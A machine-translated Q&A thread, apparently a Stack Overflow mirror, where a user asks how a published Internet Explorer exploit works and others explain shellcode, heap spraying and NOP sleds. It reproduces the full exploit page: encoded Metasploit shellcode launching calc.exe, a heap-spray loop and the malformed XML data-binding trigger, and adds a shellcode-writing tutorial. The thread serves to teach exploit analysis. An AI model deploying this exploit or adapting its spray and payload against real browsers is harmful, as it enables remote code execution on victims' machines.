Я обычно не испытываю затруднений при чтении кода JavaScript, но для этого я не могу понять логику. Код взят из эксплойта, который был опубликован 4 дня назад. Вы можете найти его в milw0rm .
Вот код:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Вот то, что я считаю, что это делает, и я хотел бы, чтобы вы помогли мне за ту часть, которую я неправильно понимаю.
Переменная shellcode
содержит код для открытия calc.exe
. Я не понимаю, как они нашли эту странную строку. Любая идея?
Второе - это переменная spray
. Я не понимаю эту странную петлю.
Третье - это переменная, memory
которая нигде не используется. Почему они это создают?
И последнее: что делает тег XML на странице?
На данный момент у меня есть хорошие ответы, но в основном очень общие. Я хотел бы больше объяснений значения кода. Пример есть unescape("%u0a0a%u0a0a");
. Что это означает? То же самое для цикла: почему разработчик написал length < 0xd0000
:? Я хотел бы более глубокое понимание не только теории этого кода.
источник
Ответы:
В шелл-коде содержатся некоторые инструкции по сборке x86, которые сделают эксплойт.
spray
создает длинную последовательность инструкций, которые будут вставленыmemory
. Поскольку мы обычно не можем узнать точное местоположение нашего шелл-кода в памяти, мы помещаемnop
перед ним много инструкций и переходим куда-то туда.memory
Массив будет содержать фактический код x86 вместе с механизмом прыгающей. Мы передадим созданный XML в библиотеку, в которой есть ошибка. Когда он анализируется, ошибка приведет к тому, что регистр указателя инструкций будет назначен где-то в нашем эксплойте, что приведет к выполнению произвольного кода.Чтобы глубже понять, вы должны выяснить, что находится в коде x86.
unscape
будет использоваться для помещения последовательности байтов представленной строки вspray
переменную. Это действительный код x86, который заполняет большой кусок кучи и переходит к началу шелл-кода. Причиной конечного условия являются ограничения длины строки механизма сценариев. Вы не можете иметь строки больше определенной длины.В сборке х86,
0a0a
представляетor cl, [edx]
. Это фактически эквивалентноnop
инструкции для целей нашего использования. Куда бы мы ни переходили вspray
, мы будем переходить к следующей инструкции, пока не достигнем шелл-кода, который является кодом, который мы на самом деле хотим выполнить.Если вы посмотрите на XML, то увидите,
0x0a0a
что он тоже есть. Точное описание того, что происходит, требует определенных знаний об эксплойте (вы должны знать, где находится ошибка и как она используется, чего я не знаю). Однако кажется, что мы заставляем Internet Explorer вызывать ошибочный код, устанавливаяinnerHtml
эту вредоносную строку XML. Internet Explorer пытается разобрать его, и глючный код каким-то образом дает контроль над местом в памяти, где существует массив (так как это большой кусок, вероятность появления там высока). Когда мы перейдем туда, процессор будет продолжать выполнятьor cl, [edx]
инструкции, пока in не достигнет начала шелл-кода, который помещен в память.Я разобрал шелл-код:
Понимание этого шелл-кода требует знания сборки x86 и проблемы в самой библиотеке MS (чтобы узнать, каково состояние системы, когда мы здесь достигаем), а не JavaScript! Этот код в свою очередь будет выполнен
calc.exe
.источник
Это похоже на эксплойт недавней ошибки Internet Explorer, для которой Microsoft выпустила экстренное исправление. Он использует изъян в функции привязки данных в обработчике XML Microsoft, что приводит к неправильному освобождению памяти кучи.
Shellcode - это машинный код, который будет запускаться при возникновении ошибки. Спрей и память - это всего лишь некоторое пространство, выделенное в куче, чтобы помочь возникновению эксплуатируемого состояния.
источник
Распыление кучи - это распространенный способ использования содержимого браузера, если вы увлекаетесь им, вы можете найти несколько таких сообщений: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
источник
Каждый раз, когда я вижу память, к которой не обращаются в обсуждении эксплойта, я сначала думал, что эксплойт - это своего рода переполнение буфера, и в этом случае память либо вызывает переполнение буфера, либо к нему обращаются после переполнения буфера. ,
источник
Это из metasploit, это означает, что он использует один из кодов оболочки metasploit. Это открытый исходный код, так что вы можете пойти и взять его: http://www.metasploit.com/
источник
См. Кодировки символов в HTML .
Это двоичные данные, закодированные в виде строки, которую JavaScript декодирует.
Распространенная форма XSS также.
Вы можете увидеть все приемы кодирования здесь:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
источник
Простой пример шелл-кода
Привет, мир в сборке. Синтаксис & t x86, я верю (Мастер в обучении).
настроить файл:
vim shellcodeExample.s
скомпилировать так:
as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Теперь у вас есть двоичный файл, который печатает привет мир. преобразовать двоичный код в тип кода оболочки в:
objdump -D shellcode
вы получите вывод:
Теперь, если вы посмотрите на 4-ю строку с текстом, вы увидите:
400078: eb 1a jmp 0x400094
часть, которая говорит,
eb 1a
является шестнадцатеричным представлением инструкции по сборке,jmp one
где «один» - это адрес памяти вашей строки.чтобы подготовить свой шеллкод к выполнению, откройте другой текстовый файл и сохраните шестнадцатеричные значения в массиве символов. Для правильного форматирования кода оболочки вы вводите
\x
перед каждым шестнадцатеричным значением.следующий пример кода оболочки будет выглядеть следующим образом в соответствии с выводом команды objdump:
Этот пример использует C для массива. Теперь у вас есть рабочий шелл-код, который будет писать в стандартный вывод "Hello World"
Вы можете протестировать код оболочки, поместив его в уязвимость, или вы можете написать следующую программу c для его проверки:
Для компиляции программы введите:
у
./run
вас есть рабочий пример простой разработки шелл-кода, который был протестирован в linux mint / debian.источник
int 0x80
32-битный ABI в 64-битном коде. Это не удастся для строк в стеке, потому что ядро смотрит только на младшие 32 бита аргументов системного вызова. Что произойдет, если вы используете 32-битный int 0x80 Linux ABI в 64-битном коде? , (В этом случае вы создадите бесконечный цикл, потомуsys_write
что он вернется-EFAULT
иmov $1, %al
оставит верхние биты установленными, поэтому вы получите-ENOSYS
вместо sys_exit). Кроме того, в 64-битном коде вы можете простоjmp
пересылать строку и использовать RIP-относительныйlea
для получения адреса вместо call / pop.const char payload[]
это было бы в текстовом сегменте (в разделе .rodata), и вам это не понадобилось бы-z execstack
.)movl 4, %rax
содержит нулевой байт (и не собирается из-за несоответствия размера операнда, и пропускает,$
так что 4 является абсолютным адресом). Я думаю, что вы опубликовали раннюю версию своего источника. Мои предыдущие комментарии взяты из разборки, где вы добавилиsys_exit
вызов.